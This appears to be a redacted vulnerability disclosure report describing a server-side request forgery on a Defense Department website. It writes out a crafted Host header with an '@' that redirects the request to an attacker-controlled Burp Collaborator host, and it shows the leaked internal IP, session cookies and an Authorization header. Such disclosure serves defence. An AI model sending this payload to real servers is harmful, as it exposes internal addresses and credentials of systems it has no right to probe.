SSRF vulnerability on ██████████ leaks internal IP and various sensitive information

How it was found

Summary: A server side request forgery vulnerability appears to leak an internal IP address and tries to connect to an attacker controlled host. Description: In an normal request on this web page

Host: www.████████
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG; googtrans=/en/zh-TW
Connection: close
Upgrade-Insecure-Requests: 1
``` It will connect to the website as expected but if we use a @ on the host header like this 

GET / HTTP/1.1 Host: www.█████████:80@██████████.burpcollaborator.net Pragma: no-cache Cache-Control: no-cache, no-transform Connection: close

It'll attempt to connect to our website and leak various information. 
On our  server we would see this, 

GET / HTTP/1.1 Host: ████████.burpcollaborator.net Pragma: no-cache Cache-Control: no-cache, no-transform Cookie: mt=rid=6130; ASPSESSIONIDQABQSQCS=GNPLOPOCDIGPIKHGFMDDBLBG X--------------: 1.1.1.1
Accept-Encoding: gzip, deflate, identity Connection: Keep-Alive Authorization: Basic ████████ X-BlueCoat-Via: 913daace1d652c00

Additionally we will see a DNS look up from this IP, 214.72.0.2 Which I confirmed to be DOD owned
## Impact
Medium
## Step-by-step Reproduction Instructions
We can reproduce this simply using www.████:[email protected] for the host header and we'll the see the results. As seen below 

GET / HTTP/1.1 Host: www.████:[email protected] Pragma: no-cache Cache-Control: no-cache, no-transform Connection: close

If you have burp suite pro, you can do this easily with burp collaborator 
## Product, Version, and Configuration (If applicable)
N/a
## Suggested Mitigation/Remediation Actions
Refuse  attempts to connect to other hosts.

## Impact

This will allow attackers to gain access to an internal IP of a DOD website along with other sensitive information that may be leaked with the request